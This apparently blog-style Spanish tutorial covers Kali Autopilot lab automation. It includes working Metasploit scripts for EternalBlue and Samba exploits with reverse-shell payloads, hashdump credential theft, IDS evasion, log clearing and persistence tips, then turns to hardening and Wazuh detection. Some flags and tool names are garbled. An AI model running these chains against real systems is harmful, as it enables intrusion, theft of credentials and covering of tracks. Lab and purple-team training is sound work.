Kali Autopilot: Automatización de Ataques

https://www.onlinetis.com/es/

Kali Autopilot: Automatización de Ataques

Kali Autopilot es una herramienta relativamente nueva y especializada dentro de la distribución Kali Linux, diseñada para la automatización de ataques en escenarios de "Red Teaming" y "Purple Teaming".

A diferencia de otras herramientas que se enfocan en una sola vulnerabilidad, Autopilot ayuda a crear scripts que ejecutan secuencias de ataques de forma automática contra máquinas vulnerables.

¿Para qué sirve exactamente?

Su función principal es emular el comportamiento de un atacante real de principio a fin. Esto es útil para:

Probar defensas: Ver si tus sistemas de detección (como un IDS/IPS) realmente atrapan un ataque automatizado.
Laboratorios de entrenamiento: Crear escenarios donde una máquina "ataca" a otra repetidamente para que los estudiantes practiquen la defensa.
Consistencia: Asegurar que las pruebas de penetración sigan un flujo lógico y repetible.

Cómo instalarlo

Si ya tienes Kali Linux, puedes instalarlo directamente desde los repositorios oficiales abriendo una terminal y escribiendo:

Bash

sudo apt update
sudo apt install kali-autopilot

Cómo empezar a usarlo

Una vez instalado, puedes lanzarlo simplemente escribiendo:

Bash

kali-autopilot

La herramienta tiene una interfaz gráfica (basada en Python y easygui) que te permite:

Definir objetivos: Configurar las direcciones IP de las máquinas a las que quieres atacar.
Seleccionar módulos: Elegir qué tipos de ataques o escaneos quieres automatizar.
Ejecutar secuencias: Lanzar el "piloto automático" para que realice las tareas programadas.

Consideraciones importantes

Entorno controlado: No uses esta herramienta en redes que no te pertenezcan. Está diseñada específicamente para laboratorios de pruebas.
Dependencias: Asegúrate de tener Python 3 instalado, ya que es el motor que mueve a Autopilot.

Para configurar un escenario básico con Kali Autopilot, lo ideal es trabajar en un entorno de red cerrada (como VMware o VirtualBox) con una máquina atacante (Kali) y una víctima (por ejemplo, Metasploitable o un Windows vulnerable).

Aquí tienes los pasos para armar tu primer flujo de automatización:

1. Preparación del Entorno

Antes de abrir la herramienta, asegúrate de que ambas máquinas se vean entre sí:

IP Atacante (Kali): Supongamos 192.168.1.10
IP Víctima: Supongamos 192.168.1.20

2. Definición del "Escenario" (JSON)

Kali Autopilot funciona mediante archivos de configuración en formato JSON. Estos archivos le dicen a la herramienta qué comandos ejecutar y en qué orden.

Puedes crear un archivo llamado basico.json con esta estructura lógica:

JSON
{
  "name": "Escaneo y Enumeración Básica",
  "description": "Automatización de reconocimiento inicial",
  "commands": [
    {
      "command": "nmap -sV 192.168.1.20",
      "description": "Escaneo de servicios y versiones"
    },
    {
      "command": "nikto -h 192.168.1.20",
      "description": "Escaneo de vulnerabilidades web"
    }
  ]
}

3. Ejecución en la Interfaz

Para cargar este escenario, sigue estos pasos:

Inicia la herramienta: Escribe kali-autopilot en tu terminal.
Cargar Plan: Selecciona la opción para cargar un archivo de plan (el .json que creaste).
Configurar Objetivos: La interfaz te pedirá confirmar las IPs de destino.
Lanzamiento: Dale a "Run" (Ejecutar). Verás cómo Autopilot abre ventanas de terminal automáticas ejecutando los comandos en el orden que definiste.

4. Automatización con Explotación (Metasploit)

Si quieres algo más avanzado, Autopilot puede interactuar con Metasploit usando archivos de recursos (.rc).

Paso A: Crea un archivo llamado ataque.rc con los comandos de Metasploit:

Bash
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.20
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.1.10
exploit -j -z

Paso B: En tu JSON de Autopilot, añade el comando para ejecutar ese script:
"command": "msfconsole -r ataque.rc"

¿Por qué hacer esto y no lanzarlo a mano?

La magia de Autopilot es la reproducibilidad. Si estás configurando un sensor de seguridad (un Blue Team), puedes lanzar este "ataque" 10 veces seguidas para ver si tus alarmas suenan siempre o si alguna vez fallan.

Nota de seguridad: Kali Autopilot no es "mágico", simplemente es un director de orquesta. Si el comando manual falla, Autopilot también fallará.

Vamos a subir el nivel. Vamos a crear un escenario de "Cadena de Ataque" (Kill Chain) que simule a un atacante real. El flujo será: Escaneo → Enumeración de SMB (Carpetas compartidas) → Intento de Explotación.

Para esto, usaremos un archivo JSON que orquestará comandos de nmap, enum4linux y un script de msfconsole (Metasploit).

1. Preparar el script de Metasploit (`smb_attack.rc`)

Primero, crea este archivo de recursos para automatizar el ataque a una vulnerabilidad clásica de SMB (como EternalBlue o similares, dependiendo de tu víctima):

Bash
# Guardar como smb_attack.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.20
set LHOST 192.168.1.10
set Payload windows/x64/meterpreter/reverse_tcp
set EXITONSESSION false
exploit -j

2. Crear el Escenario Maestro (`escenario_avanzado.json`)

Crea un archivo llamado escenario_avanzado.json. Este archivo le dirá a Kali Autopilot que ejecute las herramientas en secuencia:

JSON
{
  "name": "Operación SMB Hunter",
  "description": "Flujo automatizado de reconocimiento y explotación SMB",
  "scenarios": [
    {
      "name": "Reconocimiento Inicial",
      "commands": [
        "nmap -p 445 --script smb-vuln* 192.168.1.20",
        "enum4linux -a 192.168.1.20"
      ]
    },
    {
      "name": "Fase de Explotación",
      "commands": [
        "msfconsole -r smb_attack.rc"
      ]
    }
  ]
}

3. Ejecución y Monitoreo

Una vez que tengas ambos archivos en la misma carpeta:

Lanza Autopilot: sudo kali-autopilot
Carga el JSON: Selecciona escenario_avanzado.json.
Observa la Terminal: Kali Autopilot abrirá pestañas o ventanas separadas.
- Primero verás si el puerto 445 está abierto y si las vulnerabilidades son detectadas por nmap.
- Inmediatamente después, Metasploit intentará ganar acceso automáticamente.

¿Qué estamos probando aquí? (Enfoque Purple Team)

Si tienes un antivirus o un EDR (como Microsoft Defender o Wazuh) en la máquina víctima, este escenario es perfecto para:

Ver el tiempo de respuesta: ¿Cuánto tarda tu defensa en bloquear la IP de Kali tras el escaneo de Nmap?
Firma de ataques: ¿El EDR detectó el payload de Meterpreter o el exploit de SMB?

Un consejo de "pro":

Si quieres que el ataque sea más realista y difícil de detectar, podrías añadir un paso intermedio en el JSON que use proxychains o cambie la dirección MAC antes de empezar.

Añadir una fase de Post-Explotación es lo que convierte un simple escaneo en una simulación de intrusión completa. En esta etapa, el objetivo es extraer información valiosa (credenciales, hashes o archivos) una vez que ya tenemos una sesión activa.

Para que esto funcione en Kali Autopilot, necesitamos que Metasploit ejecute comandos automáticamente en cuanto se abra la sesión de Meterpreter.

1. Actualizar el Script de Metasploit (`post_explotacion.rc`)

Modificaremos el archivo anterior para que, al obtener la sesión, ejecute comandos de recolección de datos:

Bash
# Guardar como post_explotacion.rc
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.20
set LHOST 192.168.1.10
set Payload windows/x64/meterpreter/reverse_tcp
set EXITONSESSION false

# --- COMANDOS DE POST-EXPLOTACIÓN ---
# Ejecutar comandos automáticamente al abrir la sesión
set InitialAutoRunScript post/windows/gather/hashdump
set AutoRunScript post/windows/gather/enum_patches

exploit -j

2. Actualizar el JSON Maestro

Ahora añadimos una sección específica en el JSON para la extracción de datos y la limpieza de rastros (anti-forense).

JSON
{
  "name": "Operación Full Chain: Intrusión y Exfiltración",
  "description": "Ciclo completo de ataque automatizado",
  "scenarios": [
    {
      "name": "Fase 1: Reconocimiento",
      "commands": [
        "nmap -sS -p 445 192.168.1.20"
      ]
    },
    {
      "name": "Fase 2: Explotación y Robo de Hashes",
      "commands": [
        "msfconsole -r post_explotacion.rc"
      ]
    },
    {
      "name": "Fase 3: Post-Explotación Manual/Auto",
      "commands": [
        "smbclient -L //192.168.1.20 -N",
        "echo 'Extracción de datos completada' > log_autopilot.txt"
      ]
    }
  ]
}

¿Qué está pasando "bajo el capó"?

Cuando lanzas este escenario en Kali Autopilot, ocurre lo siguiente:

Nmap confirma que la puerta está abierta.
Metasploit lanza el exploit y, si tiene éxito, no se detiene ahí.
El comando hashdump intenta volcar la base de datos SAM (donde están las contraseñas de los usuarios de Windows).
El comando enum_patches revisa qué actualizaciones le faltan al sistema para sugerirte otros ataques.

Recomendaciones de Seguridad (Ética)

Limpieza: En un escenario real de Red Team, después de la post-explotación se usa el comando clearev en Meterpreter para borrar los registros de eventos de Windows. Puedes añadirlo a tu script .rc.
Persistencia: Podrías automatizar que el ataque instale un servicio para que, aunque la víctima reinicie, sigas teniendo acceso.

Para que una simulación sea realmente efectiva, debe ser capaz de evadir los sistemas de detección de intrusos (IDS) o los Firewalls de nueva generación que bloquean escaneos rápidos y ruidosos.

En Kali Autopilot, esto se logra ajustando la "agresividad" de los comandos y usando técnicas de fragmentación en el archivo JSON.

1. Concepto de Evasión: El Escaneo "Sigiloso"

Un IDS suele disparar alertas si detecta muchas peticiones en muy poco tiempo desde una sola IP. Para evitarlo, usaremos:

Tiempos (Timing): Usar el parámetro -T2 (Polite) o -T1 (Sneaky) en Nmap.
Fragmentación: Dividir los paquetes de datos para que el Firewall no reconozca la firma del ataque.
Señuelos (Decoys): Enviar paquetes desde IPs falsas para que el administrador no sepa cuál es la IP real del atacante.

2. Configuración del JSON "Sigiloso" (`evasion.json`)

Crea un nuevo archivo de escenario que sea mucho más precavido en la fase inicial:

JSON
{
  "name": "Operación Stealth: Evasión de IDS/IPS",
  "description": "Simulación de intrusión con bajo perfil",
  "scenarios": [
    {
      "name": "Fase 1: Reconocimiento Evasivo",
      "commands": [
        "nmap -f -t2 -sS --data-length 24 192.168.1.20",
        "nmap -D RND:5 -sV -p 445 192.168.1.20"
      ]
    },
    {
      "name": "Fase 2: Explotación con Codificación (Payload)",
      "commands": [
        "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.20; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x64/zutto_dekiru; run'"
      ]
    }
  ]
}

3. Explicación de los comandos de evasión:

nmap -f: Fragmenta los paquetes. Es como enviar una carta cortada en pedacitos; el Firewall tiene que esforzarse más para "rearmar" el mensaje y entender que es un ataque.
--data-length 24: Añade datos basura a los paquetes para que no tengan el tamaño estándar de un escaneo de Nmap, lo que ayuda a pasar desapercibido.
-D RND:5: Genera 5 direcciones IP aleatorias (señuelos) que parecen estar escaneando a la víctima al mismo tiempo que tú.
EnableStageEncoding true: En Metasploit, esto "disfraza" el código malicioso (payload) para que los antivirus basados en firmas no lo reconozcan fácilmente al entrar en la memoria de la víctima.

4. ¿Cómo verificar si funcionó?

Si estás usando este escenario en un laboratorio con un IDS (como Snort o Suricata), notarás que:

Los registros (logs) del sistema de seguridad muestran menos alertas o alertas confusas.
El ataque tarda más tiempo en completarse (debido al -T2), imitando la paciencia de un atacante real.

Advertencia de rendimiento

El uso de -T1 o -T2 hace que el escaneo sea muy lento. Si tu red de laboratorio es grande, podrías tardar horas. Para pruebas rápidas, quédate con -T3 (normal) pero mantén la fragmentación (-f).

Completar el ciclo con un reporte automático es fundamental en el mundo del Pentesting profesional y el Purple Teaming. No sirve de nada ejecutar el ataque más sofisticado si no puedes documentar qué falló y cómo arreglarlo.

En Kali Linux, la forma más eficiente de hacer esto con Autopilot es integrar herramientas que generen salidas legibles (XML/HTML) y luego consolidarlas.

1. Herramientas de Reporte Recomendadas

Para que tu escenario de Autopilot genere un informe profesional, usaremos:

Phoronix o Dradis (opcional): Para gestión compleja.
xsltproc: Una herramienta nativa de Kali que convierte los archivos .xml de Nmap en tablas HTML interactivas.

2. Configuración del JSON con Reporte (`full_audit.json`)

Modificaremos el script para que guarde cada paso en un archivo y, al final, cree el reporte de "Gerencia".

JSON
{
  "name": "Auditoría Automatizada con Reporte",
  "description": "Escaneo, Explotación y Generación de Informe HTML",
  "scenarios": [
    {
      "name": "Fase 1: Escaneo y Exportación",
      "commands": [
        "nmap -sV -p- -oX resultado_nmap.xml 192.168.1.20",
        "xsltproc resultado_nmap.xml -o reporte_final.html"
      ]
    },
    {
      "name": "Fase 2: Evidencia de Intrusión",
      "commands": [
        "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.20; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set EXITONSESSION false; spool evidencia_metasploit.txt; run; quit'"
      ]
    },
    {
      "name": "Fase 3: Consolidación",
      "commands": [
        "echo 'Reporte generado en: reporte_final.html y evidencia_metasploit.txt' > RESUMEN.txt"
      ]
    }
  ]
}

3. ¿Qué obtendrás al finalizar?

Al terminar la ejecución de Kali Autopilot, tendrás tres archivos clave en tu carpeta de trabajo:

reporte_final.html: Un archivo que puedes abrir en cualquier navegador (Firefox/Chrome) que muestra de forma elegante qué puertos están abiertos, qué servicios corren y qué vulnerabilidades detectó Nmap.
evidencia_metasploit.txt: Gracias al comando spool, todo lo que pasó en la consola (si el exploit funcionó, si se obtuvo la sesión, los hashes robados) queda guardado palabra por palabra como prueba forense.
RESUMEN.txt: Un log rápido para confirmar que el "piloto automático" terminó su tarea.

4. Cómo visualizar el reporte profesional

Una vez que Autopilot termine, simplemente abre una terminal en esa carpeta y escribe:

Bash

firefox reporte_final.html

Verás una tabla organizada que es mucho más fácil de presentar a un cliente o a un profesor que las líneas blancas sobre fondo negro de la terminal.

Reflexión Final del Escenario

Has pasado de un simple comando manual a una máquina de ataque orquestada:

Reconocimiento sigiloso (Evasión).
Explotación automatizada (Metasploit).
Extracción de datos (Post-explotación).
Documentación técnica (Reporte HTML).

Para cerrar este ciclo de automatización profesional, vamos a configurar la ejecución programada. Esto es útil para lo que se conoce como "Continuous Security Monitoring" (Monitoreo de Seguridad Continuo): lanzar una auditoría automática cada cierto tiempo para asegurar que no se hayan abierto nuevos huecos de seguridad.

Utilizaremos cron, el administrador de tareas de Linux, para disparar tu escenario de Kali Autopilot.

1. Preparar el script de lanzamiento (`auto_audit.sh`)

Cron no puede abrir la interfaz gráfica de Autopilot directamente, así que crearemos un pequeño script "wrapper" que ejecute el comando en segundo plano.

Crea un archivo llamado auto_audit.sh:

Bash
#!/bin/bash
# Ruta absoluta a tu carpeta de trabajo
cd /home/kali/mi_auditoria/

# Ejecutar el escenario de Autopilot en modo silencioso (si el script lo permite)
# o simplemente ejecutar los comandos definidos en el JSON mediante bash
kali-autopilot --scenario escenario_avanzado.json --run

Nota: Asegúrate de darle permisos de ejecución: chmod +x auto_audit.sh.

2. Programar la tarea con Crontab

Ahora le diremos a Kali que ejecute este script todos los lunes a las 2:00 AM.

En la terminal, escribe: crontab -e
Si es la primera vez, elige un editor (como nano).
Ve al final del archivo y añade la siguiente línea:

Plaintext

00 02 * * 1 /home/kali/mi_auditoria/auto_audit.sh >> /home/kali/mi_auditoria/log_ejecucion.txt 2>&1

Desglose de la sintaxis:

00 02: Minuto 0, Hora 2 (2:00 AM).
* * 1: Cualquier día del mes, cualquier mes, pero solo los lunes (el 1 representa el lunes).
>> ...log_ejecucion.txt: Guarda cualquier error o mensaje para que puedas revisarlo después.

3. El Flujo de Trabajo Completo (Diagrama)

Al integrar todo lo que hemos aprendido, tu sistema ahora funciona así:

Lunes 2:00 AM: Cron despierta el script.
Kali Autopilot: Inicia el escaneo sigiloso (Evasión).
Metasploit: Intenta la intrusión y extrae hashes si hay éxito.
Reporte: Se genera el archivo HTML con los hallazgos.
Notificación: Al llegar el lunes por la mañana, solo tienes que abrir tu reporte_final.html para ver el estado de tu red.

4. Último consejo: Alertas por Correo

Si quieres que Kali te avise solo si encontró algo, puedes añadir una línea al final de tu script .sh para que te envíe el reporte por email usando la herramienta mail o sendemail.

Bash
# Ejemplo rápido (requiere configurar ssmtp o similar)
sendemail -f remitente@gmail.com -t tu_correo@gmail.com -u "Reporte Semanal de Seguridad" -m "Adjunto reporte." -a reporte_final.html

¡Has construido un sistema de auditoría automatizado de nivel profesional!

Para cerrar el círculo, ahora que sabes cómo atacar de forma automatizada, es vital entender cómo blindar (Hardening) tus sistemas. El objetivo es que, cuando tu script de Kali Autopilot se ejecute, el reporte final diga: "0 vulnerabilidades encontradas".

Aquí tienes las capas de defensa esenciales para neutralizar los ataques que configuramos:

1. Defensa contra SMB (EternalBlue y Similares)

Como usamos exploits de SMB (puerto 445), la protección debe ser radical:

Desactivar SMBv1: Es el protocolo antiguo y vulnerable. En Windows (PowerShell):
PowerShell
```
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
```
Segmentación de Red: No permitas que cualquier máquina hable con otra por el puerto 445. Usa un Firewall para permitir SMB solo hacia servidores de archivos específicos.
Parcheado Crítico: El ataque MS17-010 se soluciona instalando las actualizaciones de seguridad de Windows. Un sistema al día es inmune a este exploit.

2. Bloqueo de Escaneos Sigilosos (Anti-Nmap)

Para evitar que un atacante use -f (fragmentación) o -D (señuelos) para mapear tu red:

Configurar un IPS (Suricata/Snort): Estos sistemas detectan patrones de "escaneo lento". Puedes configurar reglas para que, si una IP intenta tocar 5 puertos en 1 minuto, sea bloqueada automáticamente por el Firewall (Fail2Ban).
Cerrar Puertos Innecesarios: "Lo que no está expuesto, no puede ser atacado". Usa netstat -an para ver qué puertos tienes abiertos y cierra los que no uses.

3. Prevención de Post-Explotación (Anti-Meterpreter)

Si el atacante logra entrar, debemos evitar que robe los hashes de las contraseñas:

LSA Protection: Evita que herramientas como Mimikatz o el hashdump de Metasploit lean las contraseñas de la memoria RAM.
- Registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -> Crear RunAsPPL con valor 1.
AppLocker o Windows Defender Application Control: Configura el sistema para que solo se ejecuten aplicaciones firmadas. Esto bloquea los "payloads" de Metasploit porque no son programas autorizados.

4. Tabla Comparativa: Ataque vs. Defensa

Fase del Ataque	Herramienta en Kali	Medida de Hardening (Defensa)
Escaneo	`nmap -f -T2`	Configurar IDS/IPS y reglas de "Rate Limiting".
Intrusión	`msfconsole (SMB)`	Desactivar SMBv1 y aplicar parches (KB4013389).
Robo de Hashes	`hashdump`	Habilitar LSA Protection y restringir privilegios.
Persistencia	`cronjob` / `services`	Monitorizar cambios en el registro y tareas programadas.

5. Auditoría de Logs (El paso final)

Un buen administrador no solo protege, sino que vigila. Configura un servidor de logs (como Wazuh o ELK Stack) que te envíe una alerta al móvil si detecta:

Múltiples intentos de conexión fallidos.
Ejecución de procesos sospechosos (como powershell.exe con comandos codificados).

Consejo Pro: Ejecuta tu propio script de Autopilot contra tu máquina después de aplicar estas medidas. Si el ataque falla, ¡felicidades!, has hecho un buen trabajo de Hardening.

Configurar Wazuh es el paso lógico para convertirte en un experto en ciberseguridad defensiva (Blue Team). Wazuh es un EDR (Endpoint Detection and Response) de código abierto que te permitirá ver, en tiempo real, cómo tu script de Kali Autopilot intenta entrar en el sistema.

Aquí tienes la guía para montar este laboratorio de detección:

1. ¿Cómo funciona Wazuh frente a Kali Autopilot?

Wazuh utiliza un Agente instalado en la máquina víctima (Windows o Linux). Este agente vigila los archivos, procesos y conexiones de red, enviando toda la actividad al Wazuh Manager.

2. Instalación rápida del Manager (en un servidor Linux)

La forma más sencilla de probarlo es usar el asistente de instalación en un servidor limpio (Ubuntu o Debian):

Bash

curl -sO https://packages.wazuh.com/4.x/wazuh-install.sh
sudo bash wazuh-install.sh -a

Esto instalará el Manager, el Indexer (base de datos) y el Dashboard (interfaz web).

3. Configuración del Agente en la Víctima

Una vez instalado el Manager:

Entra al Dashboard (IP de tu servidor) desde el navegador.
Ve a Deploy new agent.
Copia el comando que te genera (para Windows PowerShell o Linux).
Ejecútalo en la máquina que quieres proteger.

4. Detección de los ataques de tu escenario

Ahora, cuando lances tu script de Kali Autopilot, esto es lo que verás en el panel de Wazuh:

A. Detección de Nmap (Escaneo)

Wazuh detectará múltiples conexiones en un periodo corto de tiempo desde la IP de tu Kali.

Alerta: "Multiple connection attempts from the same source".
Nivel: 10 (Crítico).

B. Detección de Metasploit (Explotación)

Si usas el exploit de EternalBlue, Wazuh detectará el intento de desbordamiento de memoria o la creación de un proceso inusual.

Regla: 18101 - Windows access error.
Regla: 60107 - Windows: System log cleared (si el script intenta borrar rastros).

C. Detección de Post-Explotación (Hashdump)

Cuando tu script intente leer la memoria LSA para sacar contraseñas, Wazuh disparará una alerta de "Sycstems tool execution" o acceso a archivos sensibles del sistema.

5. Respuesta Activa (El "Escudo")

Lo más potente de Wazuh es que no solo mira, sino que actúa. Puedes configurar la Active Response para que, en cuanto detecte el escaneo de Kali, ejecute un comando automáticamente:

Acción: Bloquear la IP de Kali en el Firewall (IPtables o Windows Firewall) por 24 horas.
Resultado: Tu script de Autopilot se detendrá en seco en el primer paso.

¿Cómo configurarlo?

En el archivo ossec.conf de tu Manager:

XML
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_id>1002,18101</rules_id> <timeout>1800</timeout> </active-response>

Tu siguiente paso

Ahora tienes las dos piezas del rompecabezas: el ataque automatizado (Kali) y la defensa inteligente (Wazuh).